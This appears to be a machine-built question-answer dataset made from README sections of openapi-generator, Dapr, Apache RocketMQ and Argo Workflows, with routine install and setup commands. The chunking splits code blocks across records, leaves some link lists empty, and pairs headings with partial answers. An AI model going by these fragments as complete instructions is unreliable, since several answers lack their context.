                                                                                                                                                                                                                 |\n| Bash                  | @frol (2017/07) @bkryza (2017/08) @kenjones-cisco (2017/09)                                                                                                                                                                                           |\n| C                     | @zhemant (2018/11) @ityuhui (2019/12) @michelealbano (2020/03) @eafer (2024/12)                                                                                                                                                                                        |\n| C++                   | @ravinikam (2017/07) @stkrwork (2017/07) @etherealjoy (2018/02) @martindelille (2018/03) @muttleyxd (2019/08) @aminya (2025/05)                                                                                                                                         |\n| C#                    | @mandrean (2017/08) @shibayan (2020/02) @Blackclaws (2021/03) @lucamazzanti (2021/05) @iBicha (2023/07)                                                                                                                                          |\n| Clojure               |                                                                                                                                                                                                                                                       |\n| Crystal               | @cyangle (2021/01)                                                                                                                                                                                                                                    |\n| Dart                  | @jaumard (2018/09) @josh-burton (2019/12) @amondnet (2019/12) @sbu-WBT (2020/12) @kuhnroyal (2020/12) @agilob (2020/12) @ahmednfwela (2021/08)                                                                                                        |\n| Eiffel                | @jvelilla (2017/09)                                                                                                                                                                                                                                   |\n| Elixir                | @mrmstn (2018/12)                                                                                                                                                                                                                                     |\n| Elm                   | @eriktim (2018/09)", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902221"}
{"id": "gh_c09497be1129", "question": "How to: [6.3 - History of OpenAPI Generator](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "OpenAPI Generator is a fork of [Swagger Codegen](https://github.com/swagger-api/swagger-codegen). In view of the issues with the Swagger Codegen 3.0.0 (beta) release and the disagreement on the project's direction, more than 40 top contributors and template creators of Swagger Codegen decided to fork Swagger Codegen and maintain a community-driven version called \"OpenAPI Generator\". Please refer to the [Q&A](docs/qna.md) for more information.\n\n#### Founding Members (alphabetical order):\n\n- [Akihito Nakano](https://github.com/ackintosh)\n- [Artem Ocheredko](https://github.com/galaxie)\n- [Arthur Mogliev](https://github.com/Articus)\n- [Bartek Kryza](https://github.com/bkryza)\n- [Ben Wells](https://github.com/bvwells)\n- [Benjamin Gill](https://github.com/bjgill)\n- [Christophe Bornet](https://github.com/cbornet)\n- [Cliffano Subagio](https://github.com/cliffano)\n- [Daiki Matsudate](https://github.com/d-date)\n- [Daniel](https://github.com/Danielku15)\n- [Emiliano Bonassi](https://github.com/emilianobonassi)\n- [Erik Timmers](https://github.com/eriktim)\n- [Esteban Gehring](https://github.com/macjohnny)\n- [Gustavo Paz](https://github.com/gustavoapaz)\n- [Javier Velilla](https://github.com/jvelilla)\n- [Jean-François Côté](https://github.com/JFCote)\n- [Jim Schubert](https://github.com/jimschubert)\n- [Jon Schoning](https://github.com/jonschoning)\n- [Jérémie Bresson](https://github.com/jmini) [:heart:](https://www.patreon.com/jmini)\n- [Jörn Ahrens](https://github.com/jayearn)\n- [Keni Steward](https://github.com/kenisteward)\n- [Marcin Stefaniuk](https://github.com/mstefaniuk)\n- [Martin Delille](https://github.com/MartinDelille)\n- [Masahiro Yamauchi](https://github.com/algas)\n- [Michele Albano](https://github.com/michelealbano)\n- [Ramzi Maalej](https://github.com/ramzimaalej)\n- [Ravindra Nikam](https://github.com/ravinikam)\n- [Ricardo Cardona](https://github.com/ricardona)\n- [Sebastian Haas](https://github.com/sebastianhaas)\n- [Sebastian Mandrean](https://github.com/mandrean)\n- [Sreenidhi Sreesha](https://github.com/sreeshas)\n- [Stefan Krismann](https://github.com/stkrwork)\n- [Stephane Carrez](https://github.com/stcarrez)\n- [Takuro Wada](https://github.com/taxpon)\n- [Tomasz Prus](https://github.com/tomplus)\n- [Tristan Sloughter](https://github.com/tsloughter)\n- [Victor Orlovsky](https://github.com/viclovsky)\n- [Victor Trakhtenberg](https://github.com/victorgit)\n- [Vlad Frolov](https://github.com/frol)\n- [Vladimir Pouzanov](https://github.com/farcaller)\n- [William Cheng](https://github.com/wing328)\n- [Xin Meng](https://github.com/xmeng1) [:heart:](https://www.patreon.com/user/overview?u=16435385)\n- [Xu Hui Hui](https://github.com/xhh)\n- [antihax](https://github.com/antihax)\n- [beatcracker](https://github.com/beatcracker)\n- [daurnimator](https:/github.com/daurnimator)\n- [etherealjoy](https://github.com/etherealjoy)\n- [jfiala](https://github.com/jfiala)\n- [lukoyanov](https://github.com/lukoyanov)\n\n:heart: = Link to support the contributor directly", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902233"}
{"id": "gh_968bd148ac9f", "question": "How to: [7 - License](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "-------\n\nCopyright 2018 OpenAPI-Generator Contributors (https://openapi-generator.tech)\nCopyright 2018 SmartBear Software\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](https://www.apache.org/licenses/LICENSE-2.0)\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n---", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902240"}
{"id": "gh_225c8becf019", "question": "How to: How it works", "question_body": "About dapr/dapr", "answer": "Dapr injects a side-car (container or process) to each compute unit. The side-car interacts with event triggers and communicates with the compute unit via standard HTTP or gRPC protocols. This enables Dapr to support all existing and future programming languages without requiring you to import frameworks or libraries.\n\nDapr offers built-in state management, reliable messaging (at least once delivery), triggers and bindings through standard HTTP verbs or gRPC interfaces. This allows you to write stateless, stateful and actor-like services following the same programming paradigm. You can freely choose consistency model, threading model and message delivery patterns.\n\nDapr runs natively on Kubernetes, as a self hosted binary on your machine, on an IoT device, or as a container that can be injected into any system, in the cloud or on-premises.\n\nDapr uses pluggable component state stores and message buses such as Redis as well as gRPC to offer a wide range of communication methods, including direct dapr-to-dapr using gRPC and async Pub-Sub with guaranteed delivery and at-least-once semantics.", "tags": ["dapr"], "source": "github_gists", "category": "dapr", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25423, "answer_score": 10, "has_code": false, "url": "https://github.com/dapr/dapr", "collected_at": "2026-01-17T08:15:39.942725"}
{"id": "gh_10221b5bd336", "question": "How to: Get Started using Dapr", "question_body": "About dapr/dapr", "answer": "See our [Getting Started](https://docs.dapr.io/getting-started/) guide over in our docs.", "tags": ["dapr"], "source": "github_gists", "category": "dapr", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25423, "answer_score": 10, "has_code": false, "url": "https://github.com/dapr/dapr", "collected_at": "2026-01-17T08:15:39.942741"}
{"id": "gh_1b8d15994c74", "question": "How to: Quickstarts and Samples", "question_body": "About dapr/dapr", "answer": "* See the [quickstarts repository](https://github.com/dapr/quickstarts) for code examples that can help you get started with Dapr.\n* Explore additional samples in the Dapr [samples repository](https://github.com/dapr/samples).", "tags": ["dapr"], "source": "github_gists", "category": "dapr", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25423, "answer_score": 10, "has_code": false, "url": "https://github.com/dapr/dapr", "collected_at": "2026-01-17T08:15:39.942747"}
{"id": "gh_871fb7719e9f", "question": "How to: Contact Us", "question_body": "About dapr/dapr", "answer": "Reach out with any questions you may have and we'll make sure to answer them as soon as possible!\n\n| Platform  | Link        |\n|:----------|:------------|\n| 💬 Discord (preferred) | [![Discord Banner](https://discord.com/api/guilds/778680217417809931/widget.png?style=banner2)](https://aka.ms/dapr-discord)\n| 💭 LinkedIn | [@daprdev](https://www.linkedin.com/company/daprdev)\n| 🦋 BlueSky | [@daprdev.bsky.social](https://bsky.app/profile/daprdev.bsky.social)\n| 🐤 Twitter | [@daprdev](https://twitter.com/daprdev)", "tags": ["dapr"], "source": "github_gists", "category": "dapr", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 25423, "answer_score": 10, "has_code": true, "url": "https://github.com/dapr/dapr", "collected_at": "2026-01-17T08:15:39.942757"}
{"id": "gh_ef820f2dda4d", "question": "How to: Community Call", "question_body": "About dapr/dapr", "answer": "Every two weeks we host a community call to showcase new features, review upcoming milestones, and engage in a Q&A. All are welcome!\n\n📞 Visit [Upcoming Dapr Community Calls](https://github.com/dapr/community/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22community%20call%22) for upcoming dates and the meeting link.\n\n📺 Visit https://www.youtube.com/@DaprDev/streams for previous community call live streams.", "tags": ["dapr"], "source": "github_gists", "category": "dapr", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25423, "answer_score": 10, "has_code": false, "url": "https://github.com/dapr/dapr", "collected_at": "2026-01-17T08:15:39.942765"}
{"id": "gh_ce38c881c436", "question": "How to: Videos and Podcasts", "question_body": "About dapr/dapr", "answer": "We have a variety of keynotes, podcasts, and presentations available to reference and learn from.\n\n📺 Visit https://docs.dapr.io/contributing/presentations/ for previous talks and slide decks or our YouTube channel https://www.youtube.com/@DaprDev/videos.", "tags": ["dapr"], "source": "github_gists", "category": "dapr", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25423, "answer_score": 10, "has_code": false, "url": "https://github.com/dapr/dapr", "collected_at": "2026-01-17T08:15:39.942771"}
{"id": "gh_cd1f6bab6cbb", "question": "How to: Contributing to Dapr", "question_body": "About dapr/dapr", "answer": "See the [Development Guide](https://docs.dapr.io/contributing/) to get started with building and developing.", "tags": ["dapr"], "source": "github_gists", "category": "dapr", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25423, "answer_score": 10, "has_code": false, "url": "https://github.com/dapr/dapr", "collected_at": "2026-01-17T08:15:39.942777"}
{"id": "gh_c9bcdd5b47ed", "question": "How to: Repositories", "question_body": "About dapr/dapr", "answer": "| Repo | Description |\n|:-----|:------------|\n| [Dapr](https://github.com/dapr/dapr) | The main repository that you are currently in. Contains the Dapr runtime code and overview documentation.\n| [CLI](https://github.com/dapr/cli) | The Dapr CLI allows you to setup Dapr on your local dev machine or on a Kubernetes cluster, provides debugging support, launches and manages Dapr instances.\n| [Docs](https://docs.dapr.io) | The documentation for Dapr.\n| [Quickstarts](https://github.com/dapr/quickstarts) | This repository contains a series of simple code samples that highlight the main Dapr capabilities.\n| [Samples](https://github.com/dapr/samples) | This repository holds community maintained samples for various Dapr use cases.\n| [Components-contrib ](https://github.com/dapr/components-contrib) | The purpose of components contrib is to provide open, community driven reusable components for building distributed applications.\n| [Dashboard ](https://github.com/dapr/dashboard) | General purpose dashboard for Dapr\n| [Go-sdk](https://github.com/dapr/go-sdk) | Dapr SDK for Go\n| [Java-sdk](https://github.com/dapr/java-sdk) | Dapr SDK for Java\n| [JS-sdk](https://github.com/dapr/js-sdk) | Dapr SDK for JavaScript\n| [Python-sdk](https://github.com/dapr/python-sdk) | Dapr SDK for Python\n| [Dotnet-sdk](https://github.com/dapr/dotnet-sdk) | Dapr SDK for .NET\n| [Rust-sdk](https://github.com/dapr/rust-sdk) | Dapr SDK for Rust\n| [Cpp-sdk](https://github.com/dapr/cpp-sdk) | Dapr SDK for C++\n| [PHP-sdk](https://github.com/dapr/php-sdk) | Dapr SDK for PHP", "tags": ["dapr"], "source": "github_gists", "category": "dapr", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25423, "answer_score": 10, "has_code": false, "url": "https://github.com/dapr/dapr", "collected_at": "2026-01-17T08:15:39.942786"}
{"id": "gh_efbb56c6b66b", "question": "How to: Code of Conduct", "question_body": "About dapr/dapr", "answer": "Please refer to our [Dapr Community Code of Conduct](https://github.com/dapr/community/blob/master/CODE-OF-CONDUCT.md)", "tags": ["dapr"], "source": "github_gists", "category": "dapr", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25423, "answer_score": 10, "has_code": false, "url": "https://github.com/dapr/dapr", "collected_at": "2026-01-17T08:15:39.942791"}
{"id": "gh_51dbf946e70e", "question": "How to: Quick Start", "question_body": "About apache/rocketmq", "answer": "This paragraph guides you through steps of installing RocketMQ in different ways.\nFor local development and testing, only one instance will be created for each component.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 22289, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044884"}
{"id": "gh_07e8619c81f3", "question": "How to: Run RocketMQ locally", "question_body": "About apache/rocketmq", "answer": "RocketMQ runs on all major operating systems and requires only a Java JDK version 8 or higher to be installed.\nTo check, run `java -version`:\n```shell\n$ java -version\njava version \"1.8.0_121\"\n```\n\nFor Windows users, click [here](https://dist.apache.org/repos/dist/release/rocketmq/5.4.0/rocketmq-all-5.4.0-bin-release.zip) to download the 5.4.0 RocketMQ binary release,\nunpack it to your local disk, such as `D:\\rocketmq`.\nFor macOS and Linux users, execute following commands:\n\n```shell", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22289, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044899"}
{"id": "gh_b24eba878706", "question": "How to: Download release from the Apache mirror", "question_body": "About apache/rocketmq", "answer": "$ wget https://dist.apache.org/repos/dist/release/rocketmq/5.4.0/rocketmq-all-5.4.0-bin-release.zip", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 22289, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044905"}
{"id": "gh_275cd4f31fa4", "question": "How to: Unpack the release", "question_body": "About apache/rocketmq", "answer": "$ unzip rocketmq-all-5.4.0-bin-release.zip\n```\n\nPrepare a terminal and change to the extracted `bin` directory:\n```shell\n$ cd rocketmq-all-5.4.0-bin-release/bin\n```\n\n**1) Start NameServer**\n\nNameServer will be listening at `0.0.0.0:9876`, make sure that the port is not used by others on the local machine, and then do as follows.\n\nFor macOS and Linux users:\n```shell", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22289, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044912"}
{"id": "gh_fdf18a861f14", "question": "How to: check whether Name Server is successfully started", "question_body": "About apache/rocketmq", "answer": "$ tail -f ~/logs/rocketmqlogs/namesrv.log\nThe Name Server boot success...\n```\n\nFor Windows users, you need to set environment variables first:\n- From the desktop, right click the Computer icon.\n- Choose Properties from the context menu.\n- Click the Advanced system settings link.\n- Click Environment Variables.\n- Add Environment `ROCKETMQ_HOME=\"D:\\rocketmq\"`. \n\nThen change directory to rocketmq, type and run:\n```shell\n$ mqnamesrv.cmd\nThe Name Server boot success...\n```\n\n**2) Start Broker**\n\nFor macOS and Linux users:\n```shell", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 22289, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044920"}
{"id": "gh_49679949d031", "question": "How to: check whether Broker is successfully started, eg: Broker's IP is 192.168.1.2, Broker's name is broker-a", "question_body": "About apache/rocketmq", "answer": "$ tail -f ~/logs/rocketmqlogs/broker.log\nThe broker[broker-a, 192.168.1.2:10911] boot success...\n```\n\nFor Windows users:\n```shell\n$ mqbroker.cmd -n localhost:9876\nThe broker[broker-a, 192.168.1.2:10911] boot success...\n```", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22289, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044926"}
{"id": "gh_b7ed23094b8a", "question": "How to: Run RocketMQ in Docker", "question_body": "About apache/rocketmq", "answer": "You can run RocketMQ on your own machine within Docker containers,\n`host` network will be used to expose listening port in the container.\n\n**1) Start NameServer**\n\n```shell\n$ docker run -it --net=host apache/rocketmq ./mqnamesrv\n```\n\n**2) Start Broker**\n\n```shell\n$ docker run -it --net=host --mount type=bind,source=/tmp/store,target=/home/rocketmq/store apache/rocketmq ./mqbroker -n localhost:9876\n```", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 22289, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044933"}
{"id": "gh_cc10ae33b30b", "question": "How to: Run RocketMQ in Kubernetes", "question_body": "About apache/rocketmq", "answer": "You can also run a RocketMQ cluster within a Kubernetes cluster using [RocketMQ Operator](https://github.com/apache/rocketmq-operator).\nBefore your operations, make sure that `kubectl` and related kubeconfig file installed on your machine.\n\n**1) Install CRDs**\n```shell", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22289, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044939"}
{"id": "gh_40808e72c3be", "question": "How to: install CRDs", "question_body": "About apache/rocketmq", "answer": "$ git clone https://github.com/apache/rocketmq-operator\n$ cd rocketmq-operator && make deploy", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 22289, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044944"}
{"id": "gh_9201a1329561", "question": "How to: check whether CRDs are successfully installed", "question_body": "About apache/rocketmq", "answer": "$ kubectl get crd | grep rocketmq.apache.org\nbrokers.rocketmq.apache.org                 2022-05-12T09:23:18Z\nconsoles.rocketmq.apache.org                2022-05-12T09:23:19Z\nnameservices.rocketmq.apache.org            2022-05-12T09:23:18Z\ntopictransfers.rocketmq.apache.org          2022-05-12T09:23:19Z", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22289, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044950"}
{"id": "gh_2e9b5b5460f7", "question": "How to: check whether operator is running", "question_body": "About apache/rocketmq", "answer": "$ kubectl get pods | grep rocketmq-operator\nrocketmq-operator-6f65c77c49-8hwmj   1/1     Running   0          93s\n```\n\n**2) Create Cluster Instance**\n```shell", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22289, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044955"}
{"id": "gh_84a2a5c2b31d", "question": "How to: create RocketMQ cluster resource", "question_body": "About apache/rocketmq", "answer": "$ cd example && kubectl create -f rocketmq_v1alpha1_rocketmq_cluster.yaml", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 22289, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044960"}
{"id": "gh_ac8a798ace7e", "question": "How to: check whether cluster resources are running", "question_body": "About apache/rocketmq", "answer": "$ kubectl get sts\nNAME                 READY   AGE\nbroker-0-master      1/1     107m\nbroker-0-replica-1   1/1     107m\nname-service         1/1     107m\n```\n\n---", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22289, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044966"}
{"id": "gh_73f8bec6fe9d", "question": "How to: Apache RocketMQ Community", "question_body": "About apache/rocketmq", "answer": "* [RocketMQ Streams](https://github.com/apache/rocketmq-streams): A lightweight stream computing engine based on Apache RocketMQ.\n* [RocketMQ Flink](https://github.com/apache/rocketmq-flink): The Apache RocketMQ connector of Apache Flink that supports source and sink connector in data stream and Table.\n* [RocketMQ APIs](https://github.com/apache/rocketmq-apis): RocketMQ protobuf protocol.\n* [RocketMQ Clients](https://github.com/apache/rocketmq-clients): gRPC/protobuf-based RocketMQ clients.\n* RocketMQ Remoting-based Clients\n\t - [RocketMQ Client CPP](https://github.com/apache/rocketmq-client-cpp)\n\t - [RocketMQ Client Go](https://github.com/apache/rocketmq-client-go)\n\t - [RocketMQ Client Python](https://github.com/apache/rocketmq-client-python)\n\t - [RocketMQ Client Nodejs](https://github.com/apache/rocketmq-client-nodejs)\n* [RocketMQ Spring](https://github.com/apache/rocketmq-spring): A project which helps developers quickly integrate Apache RocketMQ with Spring Boot.\n* [RocketMQ Exporter](https://github.com/apache/rocketmq-exporter): An Apache RocketMQ exporter for Prometheus.\n* [RocketMQ Operator](https://github.com/apache/rocketmq-operator): Providing a way to run an Apache RocketMQ cluster on Kubernetes.\n* [RocketMQ Docker](https://github.com/apache/rocketmq-docker): The Git repo of the Docker Image for Apache RocketMQ.\n* [RocketMQ Dashboard](https://github.com/apache/rocketmq-dashboard): Operation and maintenance console of Apache RocketMQ.\n* [RocketMQ Connect](https://github.com/apache/rocketmq-connect): A tool for scalably and reliably streaming data between Apache RocketMQ and other systems.\n* [RocketMQ MQTT](https://github.com/apache/rocketmq-mqtt): A new MQTT protocol architecture model, based on which Apache RocketMQ can better support messages from terminals such as IoT devices and Mobile APP.\n* [RocketMQ EventBridge](https://github.com/apache/rocketmq-eventbridge): EventBridge makes it easier to build an event-driven application.\n* [RocketMQ Incubating Community Projects](https://github.com/apache/rocketmq-externals): Incubator community projects of Apache RocketMQ, including [logappender](https://github.com/apache/rocketmq-externals/tree/master/logappender), [rocketmq-ansible](https://github.com/apache/rocketmq-externals/tree/master/rocketmq-ansible), [rocketmq-beats-integration](https://github.com/apache/rocketmq-externals/tree/master/rocketmq-beats-integration), [rocketmq-cloudevents-binding](https://github.com/apache/rocketmq-externals/tree/master/rocketmq-cloudevents-binding), etc.\n* [RocketMQ Site](https://github.com/apache/rocketmq-site): The repository for Apache RocketMQ website.\n* [RocketMQ E2E](https://github.com/apache/rocketmq-e2e): A project for testing Apache RocketMQ, including end-to-end, performance, compatibility tests.\n\n----------", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22289, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044976"}
{"id": "gh_aac3e20039f6", "question": "How to: Learn it & Contact us", "question_body": "About apache/rocketmq", "answer": "* Mailing Lists:\n* Home:\n* Docs:\n* Issues:\n* Rips:\n* Ask:\n* Slack:\n----------", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22289, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044983"}
{"id": "gh_5bc39821e44a", "question": "How to: Contributing", "question_body": "About apache/rocketmq", "answer": "We always welcome new contributions, whether for trivial cleanups, [big new features](https://github.com/apache/rocketmq/wiki/RocketMQ-Improvement-Proposal) or other material rewards, more details see [here](http://rocketmq.apache.org/docs/how-to-contribute/).\n\n----------", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22289, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044988"}
{"id": "gh_2fe91279875f", "question": "How to: Export Control Notice", "question_body": "About apache/rocketmq", "answer": "This distribution includes cryptographic software. The country in which you currently reside may have\nrestrictions on the import, possession, use, and/or re-export to another country, of encryption software.\nBEFORE using any encryption software, please check your country's laws, regulations and policies concerning\nthe import, possession, or use, and re-export of encryption software, to see if this is permitted. See\nfor more information.\n\nThe U.S. Government Department of Commerce, Bureau of Industry and Security (BIS), has classified this\nsoftware as Export Commodity Control Number (ECCN) 5D002.C.1, which includes information security software\nusing or performing cryptographic functions with asymmetric algorithms. The form and manner of this Apache\nSoftware Foundation distribution makes it eligible for export under the License Exception ENC Technology\nSoftware Unrestricted (TSU) exception (see the BIS Export Administration Regulations, Section 740.13) for\nboth object code and source code.\n\nThe following provides more details on the included cryptographic software:\n\nThis software uses Apache Commons Crypto (https://commons.apache.org/proper/commons-crypto/) to\nsupport authentication, and encryption and decryption of data sent across the network between\nservices.\n\n[maven-build-image]: https://github.com/apache/rocketmq/actions/workflows/maven.yaml/badge.svg\n[maven-build-url]: https://github.com/apache/rocketmq/actions/workflows/maven.yaml\n[codecov-image]: https://codecov.io/gh/apache/rocketmq/branch/master/graph/badge.svg\n[codecov-url]: https://codecov.io/gh/apache/rocketmq\n[maven-central-image]: https://maven-badges.herokuapp.com/maven-central/org.apache.rocketmq/rocketmq-all/badge.svg\n[maven-central-url]: http://search.maven.org/#search%7Cga%7C1%7Corg.apache.rocketmq\n[release-image]: https://img.shields.io/badge/release-download-orange.svg\n[release-url]: https://rocketmq.apache.org/download/\n[license-image]: https://img.shields.io/badge/license-Apache%202-4EB1BA.svg\n[license-url]: https://www.apache.org/licenses/LICENSE-2.0.html\n[average-time-to-resolve-an-issue-image]: http://isitmaintained.com/badge/resolution/apache/rocketmq.svg\n[average-time-to-resolve-an-issue-url]: http://isitmaintained.com/project/apache/rocketmq\n[percentage-of-issues-still-open-image]: http://isitmaintained.com/badge/open/apache/rocketmq.svg\n[percentage-of-issues-still-open-url]: http://isitmaintained.com/project/apache/rocketmq\n[twitter-follow-image]: https://img.shields.io/twitter/follow/ApacheRocketMQ?style=social\n[twitter-follow-url]: https://twitter.com/intent/follow?screen_name=ApacheRocketMQ", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22289, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/rocketmq", "collected_at": "2026-01-17T08:15:43.044999"}
{"id": "gh_924f9fb35577", "question": "How to: What is Argo Workflows?", "question_body": "About argoproj/argo-workflows", "answer": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes.\nArgo Workflows is implemented as a Kubernetes CRD (Custom Resource Definition).\n\n* Define workflows where each step is a container.\n* Model multi-step workflows as a sequence of tasks or capture the dependencies between tasks using a directed acyclic graph (DAG).\n* Easily run compute intensive jobs for machine learning or data processing in a fraction of the time using Argo Workflows on Kubernetes.\n\nArgo is a [Cloud Native Computing Foundation (CNCF)](https://cncf.io/) graduated project.", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 16365, "answer_score": 10, "has_code": false, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494280"}
{"id": "gh_d9e31c2b5923", "question": "How to: Why Argo Workflows?", "question_body": "About argoproj/argo-workflows", "answer": "* Argo Workflows is the most popular workflow execution engine for Kubernetes.\n* Light-weight, scalable, and easier to use.\n    * Including for Python users through [the Hera Python SDK for Argo Workflows](https://hera.readthedocs.io/en/stable/).\n* Designed from the ground up for containers without the overhead and limitations of legacy VM and server-based environments.\n* Cloud agnostic and can run on any Kubernetes cluster.\n\n[Read what people said in our latest survey](https://blog.argoproj.io/argo-workflows-events-2023-user-survey-results-82c53bc30543)", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 16365, "answer_score": 10, "has_code": true, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494295"}
{"id": "gh_a817f9620bfe", "question": "How to: Try Argo Workflows", "question_body": "About argoproj/argo-workflows", "answer": "You can try Argo Workflows via one of the following:\n\n1. [Interactive Training Material](https://killercoda.com/argoproj/course/argo-workflows/)\n1. [Access the demo environment](https://workflows.apps.argoproj.io/workflows/argo)\n\n![Screenshot](docs/assets/screenshot.png)", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 16365, "answer_score": 10, "has_code": false, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494302"}
{"id": "gh_d8689967b425", "question": "How to: Who uses Argo Workflows?", "question_body": "About argoproj/argo-workflows", "answer": "[About 200+ organizations are officially using Argo Workflows](USERS.md)", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 16365, "answer_score": 10, "has_code": false, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494308"}
{"id": "gh_f11d364e1056", "question": "How to: Client Libraries", "question_body": "About argoproj/argo-workflows", "answer": "Check out our [Java, Golang, and Python (Hera) clients](docs/client-libraries.md).", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 16365, "answer_score": 10, "has_code": false, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494314"}
{"id": "gh_536d3e1a91c7", "question": "How to: Quickstart", "question_body": "About argoproj/argo-workflows", "answer": "* [Get started here](https://argo-workflows.readthedocs.io/en/latest/quick-start/)\n* [Walk-through examples](https://argo-workflows.readthedocs.io/en/latest/walk-through/)", "tags": ["argoproj"], "source": "github_gists", "category": "argoproj", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 16365, "answer_score": 10, "has_code": false, "url": "https://github.com/argoproj/argo-workflows", "collected_at": "2026-01-17T08:15:46.494320"}
